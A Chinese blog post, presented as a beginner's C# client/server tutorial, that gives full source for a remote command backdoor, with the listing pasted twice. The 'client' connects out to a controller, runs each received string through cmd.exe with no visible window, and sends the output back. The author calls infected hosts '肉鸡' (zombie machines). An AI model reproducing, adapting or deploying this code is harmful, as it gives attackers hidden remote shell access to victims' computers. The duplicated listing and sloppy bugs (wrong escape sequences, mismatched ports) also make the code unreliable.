C# 实现C/S程序的开发
2010-03-21 22:11
447 查看
我本人并不喜欢搞博客的，这次只是想把我学到的技术和大家分享一下.......
我也是一个刚入门的初级菜鸟！呵呵...
废话不想多说了..此代码有那些 看不明白的就找我...
源码到这里下载：http://download.csdn.net/source/2151759
这是服务端：
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net.Sockets;
using System.Net;
namespace Customer
{
public partial class CustomerForm : Form
{
public CustomerForm()
{
InitializeComponent();
}
IPHostEntry host;//本机的IP
TcpListener TCL;//创建一个监听
Socket skt;// 用于发送命令和接受数据的
IPEndPoint IP;//拼接IP和端口
private void Form1_Load(object sender, EventArgs e)
{//窗体加载后自动连接段客户端
try
{
host = Dns.Resolve(Dns.GetHostName());//获取本机 的IP
IP = new IPEndPoint(host.AddressList[0], 10086);//将IP和端口拼接起来
this.Text += "(" + IP.ToString() + ")";//在程序的标题上面显示本机的IP
TCL = new TcpListener(IP);//初始化一个侦听，侦听端口为10086
TCL.Start();//启动侦听
BeginAcceptClient();//异步接受连接请求
txtResults.Text += "/r/n /t服务器已经正常启动....侦听端口：" + IP.Port.ToString();//显示在消息框上面
TxtSelect();//这是控制显示框的滚动条
}
catch (Exception ex)
{
txtResults.Text+="/r/n /t连接肉鸡出错！详细："+ex.Message;
TxtSelect();//这也是控制滚动条的
skt.Close();//出现异常就关闭连接
}
}
//-----------------------异步接收传入的连接--------------------------------
public static ManualResetEvent tcpManualResetEvent = new ManualResetEvent(true);
public void BeginAcceptClient()
{//异步接受客户端的请求
tcpManualResetEvent.Set();//设置当前的线程处于等待状态...允许一个或者多个线程等待
TCL.BeginAcceptSocket(new AsyncCallback(AcceptClient),TCL);//接受客户端的请求
tcpManualResetEvent.WaitOne();//直到连接这个线程完成为止
}
public string Results = "";//转换后的消息
int count;//接收的数据长度
public void AcceptClient(IAsyncResult ar)
{//异步接受传入的连接请求
Control.CheckForIllegalCrossThreadCalls = false;//这是让当前的控件能在通过线程访问
TcpListener Listener = (TcpListener)ar.AsyncState;//异步的状态
skt = Listener.EndAcceptSocket(ar);//接受传入的请求
if (skt.Connected)//判断是否已经有客户端连接上，如果连接上后就读取数据
{
BeginAcceptClient();//再次接受客户端连接的请求，这个能解决客户端断开连接后能再次连接上
txtResults.Text += "/r/n /t提示：有机子上线了..";
TxtSelect();
//接收数据
try
{
byte[] bt = new byte[1024 * 1024];//声明一个Byte数组来存放接受到的数据
count = skt.Receive(bt);//将接受到的数据放到数组里面
if (count > 0)//判断是否有数据，如果有就将读去到的数据消息显示到消息框上.
{
Thread T = new Thread(new ThreadStart(AcceptDate), 80);//使用一个线程来将消息显示到文本框
T.Start();//启动线程 并将接收数据 然后现在在文本框上。
txtResults.Text="/r/n小鸡说1："+Encoding.BigEndianUnicode.GetString(bt);//将Byte类型转成字符串显示到文本框上....
TxtSelect();//控制文本框上的滚动条的方法
}
}
catch (Exception ex)
{
skt.Close();//出现异常就关闭连接
txtResults.Text += "/r/n /t提示：接收数据出错！";
TxtSelect();//控制文本框的滚动条
}
}
tcpManualResetEvent.WaitOne();
}
public void AcceptDate()
{ //接收数据，这是接受数据的方法
if (skt.Connected && count>0)//如果有客户端连接上了就读去数据
{
try
{
byte[] bt = new byte[1024*1024];//同样也是声明一个数组来存放数据
skt.Receive(bt);//此方法是将接收的数据保存到数组里面
Results = Encoding.BigEndianUnicode.GetString(bt);//将数据转成String类型然后显示到消息框上...
for (int i = 0; i < bt.Length; i++)
{//将Byte数组清理
bt[i] = btRecylcer;//接收完数据后就清理数组的数据
}
txtResults.Text += "/r/n小鸡说：" + Results;
TxtSelect();
if (count>0)
{
Thread T = new Thread(new ThreadStart(AcceptDate2), 50);//启动一个线程将接收到的数据显示到文本框上
T.Start();
}
}
catch (Exception ex)
{
txtResults.Text += "/r/n /t接收数据出错：" + ex.Message;
TxtSelect();
}
}
}
public void AcceptDate2()
{ //再次接受数据
//txtResults.Text += "/r/n /t小鸡说3：" + Results;
AcceptDate();//接收数据的方法
}
byte btRecylcer = new byte();
private void btnPerForm_Click(object sender, EventArgs e)
{//发送按扭
try
{
byte[] bt = new byte[1024 * 1024];//声明一个数组存放要发送的的数据
bt = Encoding.BigEndianUnicode.GetBytes(txtDOS.Text);//将需要发送的消息转换成Byte类型的数据
skt.Send(bt);//将消息或者命令发送到客户端
txtResults.Text += "/r/n /t你发送：" + Encoding.BigEndianUnicode.GetString(bt) + "/r/n";
TxtSelect();//控制文本框的滚动条
txtDOS.Clear();//发送完后清理文本框
for (int i = 0; i < bt.Length; i++)
{//清理数组
bt[i] = btRecylcer;
}
}
catch (Exception ex)
{
txtResults.Text += "/r/n /t发送命令出错：" + ex.Message ;
TxtSelect();
}
}
private void TxtSelect()
{//这是控制消息框的滚动条让滚动条一直都是望下拉
txtResults.Select(txtResults.Text.Length + 100, txtResults.Text.Length);
txtResults.ScrollToCaret();
}
}
}
以下是客户端：
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
namespace Server_
{
public partial class Server_Form : Form
{
public Server_Form()
{
InitializeComponent();
}
IPHostEntry host;
TcpClient Client;
private void Form1_Load(object sender, EventArgs e)
{//自动连接控制端
try
{
host = Dns.Resolve(“这里填写IP或者主机名都可以”);
IPEndPoint IP = new IPEndPoint(host.AddressList[0], 1086);//连接服务端的IP和端口
this.Text += "(" + host.AddressList[0].ToString() + ")";
Client = new TcpClient();//初始化
BeginConnectServser(Client);//异步发送连接请求
txtInfo.Text += "/r/n /t正在连接控制端......";
TxtSelect();//控制文本框的滚动条
}
catch (Exception ex)
{
txtInfo.Text += "/r/n/t连接出错：" + ex.Message;
TxtSelect();
}
}
private void ConnectServer()
{//异步连接服务端
tcpManualResetEvent.Set();
BeginConnectServser(Client);
}
private void BeginConnectServser(TcpClient Tl)
{//异步发送请求
tcpManualResetEvent.Set();
Tl.BeginConnect(host.AddressList[0], 10086, new AsyncCallback(BeginConnect), Tl);
tcpManualResetEvent.WaitOne();
}
//线程的状态
public static ManualResetEvent tcpManualResetEvent = new ManualResetEvent(true);
public void BeginConnect(IAsyncResult ar)
{//异步发送连接请求
TcpClient TL2=new TcpClient();
Control.CheckForIllegalCrossThreadCalls = false;
try
{
TL2 = (TcpClient)ar.AsyncState;
TL2.EndConnect(ar);
if (TL2.Connected)//连接后就能发送命令和消息
{
txtInfo.Text+="/r/n /t/t提示：成功连接控制端.../r/n";
TxtSelect();
Thread T = new Thread(new ThreadStart(Accept), 80);
T.Start();
}
tcpManualResetEvent.WaitOne();
}
catch (Exception ex)
{
TL2.Client.Accept();
txtInfo.Text+="/r/n/t连接控制端出错！详细：" + ex.Message;
TxtSelect();
}
}
byte[] AcceptDate = new byte[1024 * 1024];
byte bt = new byte();
NetworkStream net;
//显示到文本框上
public void TxtDate()
{
txtInfo.Text += "/r/n消息：" + date;
TxtSelect();
//再调用接受数据的方法
Accept();
}
private void Accept()
{//接收数据
Control.CheckForIllegalCrossThreadCalls = false;
try
{
net=Client.GetStream();//将接收数据
int count = net.Read(AcceptDate, 0,AcceptDate.Length);//读取数据
date = Encoding.BigEndianUnicode.GetString(AcceptDate);
for (int i = 0; i < AcceptDate.Length; i++)
{//清理数组
AcceptDate[i] = bt;
}
if (count > 0)
{
//此线程是让数据显示到文本框上的。。如果不使用线程就只能显示第一次接收到的数据
Thread T = new Thread(new ThreadStart(TxtDate), 90);
T.Start();
CMD();//执行DOS命令
}
}
catch (Exception ex)
{
//txtInfo.Text += "/r/n接收数据出错：" + ex.Message.ToString();
TxtSelect();
}
}
string date = "";
byte[] btResults = new byte[1024 * 1024];
private void CMD()
{//dos命令
Process proc = new Process();
proc.StartInfo.FileName = @"C:/windows/system32/cmd.exe";
proc.StartInfo.CreateNoWindow = true;
//proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.StartInfo.WorkingDirectory = @"C:/windows/system32";//设置启动线程的初始目录
//设置输入输出 都从流中获取
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.RedirectStandardInput = true;
proc.StartInfo.RedirectStandardError = false;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c" + date +"/r/n";
proc.Start();
proc.StandardInput.WriteLine(date);
proc.StandardInput.WriteLine("exit");
string message = "/r/n" + proc.StandardOutput.ReadToEnd().ToString();
txtInfo.Text += "/r/n"+message;
TxtSelect();
//txtInfo.Text += "/r/n 错误：" + p.StandardError.ReadToEnd();
btResults = Encoding.BigEndianUnicode.GetBytes(message);
//将结果返回控制端
try
{
net.Write(btResults, 0, btResults.Length);
}
catch (Exception ex)
{
//s.Send(btResults);
txtInfo.Text += "/r/n发送数据出错：" + ex.Message;
TxtSelect();
}
}
private void TxtSelect()
{
txtInfo.Select(txtInfo.Text.Length+date.Length, txtInfo.Text.Length+100);
txtInfo.ScrollToCaret();
}
private void btnSendDate_Click(object sender, EventArgs e)
{//发送消息到控制端
try
{
byte[] SendDate = new byte[txtDOS.Text.Length];
SendDate = Encoding.BigEndianUnicode.GetBytes(txtDOS.Text);
net.Write(SendDate,0,SendDate.Length);
txtInfo.Text += "/r/n你发送：" + txtDOS.Text;
txtDOS.Clear();
TxtSelect();
}
catch (Exception ex)
{
txtInfo.Text += "发送消息出错："+ex.Message;
TxtSelect();
}
}
}
}
我也是一个刚入门的初级菜鸟！呵呵...
废话不想多说了..此代码有那些 看不明白的就找我...
源码到这里下载：http://download.csdn.net/source/2151759
这是服务端：
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net.Sockets;
using System.Net;
namespace Customer
{
public partial class CustomerForm : Form
{
public CustomerForm()
{
InitializeComponent();
}
IPHostEntry host;//本机的IP
TcpListener TCL;//创建一个监听
Socket skt;// 用于发送命令和接受数据的
IPEndPoint IP;//拼接IP和端口
private void Form1_Load(object sender, EventArgs e)
{//窗体加载后自动连接段客户端
try
{
host = Dns.Resolve(Dns.GetHostName());//获取本机 的IP
IP = new IPEndPoint(host.AddressList[0], 10086);//将IP和端口拼接起来
this.Text += "(" + IP.ToString() + ")";//在程序的标题上面显示本机的IP
TCL = new TcpListener(IP);//初始化一个侦听，侦听端口为10086
TCL.Start();//启动侦听
BeginAcceptClient();//异步接受连接请求
txtResults.Text += "/r/n /t服务器已经正常启动....侦听端口：" + IP.Port.ToString();//显示在消息框上面
TxtSelect();//这是控制显示框的滚动条
}
catch (Exception ex)
{
txtResults.Text+="/r/n /t连接肉鸡出错！详细："+ex.Message;
TxtSelect();//这也是控制滚动条的
skt.Close();//出现异常就关闭连接
}
}
//-----------------------异步接收传入的连接--------------------------------
public static ManualResetEvent tcpManualResetEvent = new ManualResetEvent(true);
public void BeginAcceptClient()
{//异步接受客户端的请求
tcpManualResetEvent.Set();//设置当前的线程处于等待状态...允许一个或者多个线程等待
TCL.BeginAcceptSocket(new AsyncCallback(AcceptClient),TCL);//接受客户端的请求
tcpManualResetEvent.WaitOne();//直到连接这个线程完成为止
}
public string Results = "";//转换后的消息
int count;//接收的数据长度
public void AcceptClient(IAsyncResult ar)
{//异步接受传入的连接请求
Control.CheckForIllegalCrossThreadCalls = false;//这是让当前的控件能在通过线程访问
TcpListener Listener = (TcpListener)ar.AsyncState;//异步的状态
skt = Listener.EndAcceptSocket(ar);//接受传入的请求
if (skt.Connected)//判断是否已经有客户端连接上，如果连接上后就读取数据
{
BeginAcceptClient();//再次接受客户端连接的请求，这个能解决客户端断开连接后能再次连接上
txtResults.Text += "/r/n /t提示：有机子上线了..";
TxtSelect();
//接收数据
try
{
byte[] bt = new byte[1024 * 1024];//声明一个Byte数组来存放接受到的数据
count = skt.Receive(bt);//将接受到的数据放到数组里面
if (count > 0)//判断是否有数据，如果有就将读去到的数据消息显示到消息框上.
{
Thread T = new Thread(new ThreadStart(AcceptDate), 80);//使用一个线程来将消息显示到文本框
T.Start();//启动线程 并将接收数据 然后现在在文本框上。
txtResults.Text="/r/n小鸡说1："+Encoding.BigEndianUnicode.GetString(bt);//将Byte类型转成字符串显示到文本框上....
TxtSelect();//控制文本框上的滚动条的方法
}
}
catch (Exception ex)
{
skt.Close();//出现异常就关闭连接
txtResults.Text += "/r/n /t提示：接收数据出错！";
TxtSelect();//控制文本框的滚动条
}
}
tcpManualResetEvent.WaitOne();
}
public void AcceptDate()
{ //接收数据，这是接受数据的方法
if (skt.Connected && count>0)//如果有客户端连接上了就读去数据
{
try
{
byte[] bt = new byte[1024*1024];//同样也是声明一个数组来存放数据
skt.Receive(bt);//此方法是将接收的数据保存到数组里面
Results = Encoding.BigEndianUnicode.GetString(bt);//将数据转成String类型然后显示到消息框上...
for (int i = 0; i < bt.Length; i++)
{//将Byte数组清理
bt[i] = btRecylcer;//接收完数据后就清理数组的数据
}
txtResults.Text += "/r/n小鸡说：" + Results;
TxtSelect();
if (count>0)
{
Thread T = new Thread(new ThreadStart(AcceptDate2), 50);//启动一个线程将接收到的数据显示到文本框上
T.Start();
}
}
catch (Exception ex)
{
txtResults.Text += "/r/n /t接收数据出错：" + ex.Message;
TxtSelect();
}
}
}
public void AcceptDate2()
{ //再次接受数据
//txtResults.Text += "/r/n /t小鸡说3：" + Results;
AcceptDate();//接收数据的方法
}
byte btRecylcer = new byte();
private void btnPerForm_Click(object sender, EventArgs e)
{//发送按扭
try
{
byte[] bt = new byte[1024 * 1024];//声明一个数组存放要发送的的数据
bt = Encoding.BigEndianUnicode.GetBytes(txtDOS.Text);//将需要发送的消息转换成Byte类型的数据
skt.Send(bt);//将消息或者命令发送到客户端
txtResults.Text += "/r/n /t你发送：" + Encoding.BigEndianUnicode.GetString(bt) + "/r/n";
TxtSelect();//控制文本框的滚动条
txtDOS.Clear();//发送完后清理文本框
for (int i = 0; i < bt.Length; i++)
{//清理数组
bt[i] = btRecylcer;
}
}
catch (Exception ex)
{
txtResults.Text += "/r/n /t发送命令出错：" + ex.Message ;
TxtSelect();
}
}
private void TxtSelect()
{//这是控制消息框的滚动条让滚动条一直都是望下拉
txtResults.Select(txtResults.Text.Length + 100, txtResults.Text.Length);
txtResults.ScrollToCaret();
}
}
}
以下是客户端：
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
namespace Server_
{
public partial class Server_Form : Form
{
public Server_Form()
{
InitializeComponent();
}
IPHostEntry host;
TcpClient Client;
private void Form1_Load(object sender, EventArgs e)
{//自动连接控制端
try
{
host = Dns.Resolve(“这里填写IP或者主机名都可以”);
IPEndPoint IP = new IPEndPoint(host.AddressList[0], 1086);//连接服务端的IP和端口
this.Text += "(" + host.AddressList[0].ToString() + ")";
Client = new TcpClient();//初始化
BeginConnectServser(Client);//异步发送连接请求
txtInfo.Text += "/r/n /t正在连接控制端......";
TxtSelect();//控制文本框的滚动条
}
catch (Exception ex)
{
txtInfo.Text += "/r/n/t连接出错：" + ex.Message;
TxtSelect();
}
}
private void ConnectServer()
{//异步连接服务端
tcpManualResetEvent.Set();
BeginConnectServser(Client);
}
private void BeginConnectServser(TcpClient Tl)
{//异步发送请求
tcpManualResetEvent.Set();
Tl.BeginConnect(host.AddressList[0], 10086, new AsyncCallback(BeginConnect), Tl);
tcpManualResetEvent.WaitOne();
}
//线程的状态
public static ManualResetEvent tcpManualResetEvent = new ManualResetEvent(true);
public void BeginConnect(IAsyncResult ar)
{//异步发送连接请求
TcpClient TL2=new TcpClient();
Control.CheckForIllegalCrossThreadCalls = false;
try
{
TL2 = (TcpClient)ar.AsyncState;
TL2.EndConnect(ar);
if (TL2.Connected)//连接后就能发送命令和消息
{
txtInfo.Text+="/r/n /t/t提示：成功连接控制端.../r/n";
TxtSelect();
Thread T = new Thread(new ThreadStart(Accept), 80);
T.Start();
}
tcpManualResetEvent.WaitOne();
}
catch (Exception ex)
{
TL2.Client.Accept();
txtInfo.Text+="/r/n/t连接控制端出错！详细：" + ex.Message;
TxtSelect();
}
}
byte[] AcceptDate = new byte[1024 * 1024];
byte bt = new byte();
NetworkStream net;
//显示到文本框上
public void TxtDate()
{
txtInfo.Text += "/r/n消息：" + date;
TxtSelect();
//再调用接受数据的方法
Accept();
}
private void Accept()
{//接收数据
Control.CheckForIllegalCrossThreadCalls = false;
try
{
net=Client.GetStream();//将接收数据
int count = net.Read(AcceptDate, 0,AcceptDate.Length);//读取数据
date = Encoding.BigEndianUnicode.GetString(AcceptDate);
for (int i = 0; i < AcceptDate.Length; i++)
{//清理数组
AcceptDate[i] = bt;
}
if (count > 0)
{
//此线程是让数据显示到文本框上的。。如果不使用线程就只能显示第一次接收到的数据
Thread T = new Thread(new ThreadStart(TxtDate), 90);
T.Start();
CMD();//执行DOS命令
}
}
catch (Exception ex)
{
//txtInfo.Text += "/r/n接收数据出错：" + ex.Message.ToString();
TxtSelect();
}
}
string date = "";
byte[] btResults = new byte[1024 * 1024];
private void CMD()
{//dos命令
Process proc = new Process();
proc.StartInfo.FileName = @"C:/windows/system32/cmd.exe";
proc.StartInfo.CreateNoWindow = true;
//proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.StartInfo.WorkingDirectory = @"C:/windows/system32";//设置启动线程的初始目录
//设置输入输出 都从流中获取
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.RedirectStandardInput = true;
proc.StartInfo.RedirectStandardError = false;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c" + date +"/r/n";
proc.Start();
proc.StandardInput.WriteLine(date);
proc.StandardInput.WriteLine("exit");
string message = "/r/n" + proc.StandardOutput.ReadToEnd().ToString();
txtInfo.Text += "/r/n"+message;
TxtSelect();
//txtInfo.Text += "/r/n 错误：" + p.StandardError.ReadToEnd();
btResults = Encoding.BigEndianUnicode.GetBytes(message);
//将结果返回控制端
try
{
net.Write(btResults, 0, btResults.Length);
}
catch (Exception ex)
{
//s.Send(btResults);
txtInfo.Text += "/r/n发送数据出错：" + ex.Message;
TxtSelect();
}
}
private void TxtSelect()
{
txtInfo.Select(txtInfo.Text.Length+date.Length, txtInfo.Text.Length+100);
txtInfo.ScrollToCaret();
}
private void btnSendDate_Click(object sender, EventArgs e)
{//发送消息到控制端
try
{
byte[] SendDate = new byte[txtDOS.Text.Length];
SendDate = Encoding.BigEndianUnicode.GetBytes(txtDOS.Text);
net.Write(SendDate,0,SendDate.Length);
txtInfo.Text += "/r/n你发送：" + txtDOS.Text;
txtDOS.Clear();
TxtSelect();
}
catch (Exception ex)
{
txtInfo.Text += "发送消息出错："+ex.Message;
TxtSelect();
}
}
}
}
内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理 
相关文章推荐
- .NET程序开发在c#中实现3层架构
- C#开发WinForm程序如何实现程序最小化到系统托盘
- C#实现的中国象棋程序开发笔记——遇到困难，请大家帮忙！！
- C#实现无物理边距真正可打印区域的绘图\打印程序开发
- c#开发一个“记事本”程序，要求能够实现文件的新建、打开、编辑、保存功能
- C#实现的中国象棋程序开发笔记——遇到困难，请大家帮忙！！
- C#实现无物理边距真正可打印区域的绘图\打印程序开发
- [C# 网络编程系列]专题九：实现类似QQ的即时通信程序
- C#程序实现动态调用DLL的研究
- C#开发WPF/Silverlight动画及游戏系列教程(Game Tutorial)：(五)实现2D人物动画②
- 微信程序开发---实现天气状态查询
- C#实现类似qq的屏幕截图程序
- ASP.Net、C#实现网页小偷程序
- Win7下面实现发布WebService程序和开发
- [转载][由Sunmast翻译]在C#程序中实现插件架构
- C#程序实现动态调用DLL的研究(转载)
- C#程序开发中经常遇到的10条实用的代码
- C#程序开发中经常遇到的10条实用的代码
- C#实现关闭其他程序窗口或进程代码分享
- [C# 网络编程系列]专题七：UDP编程补充——UDP广播程序的实现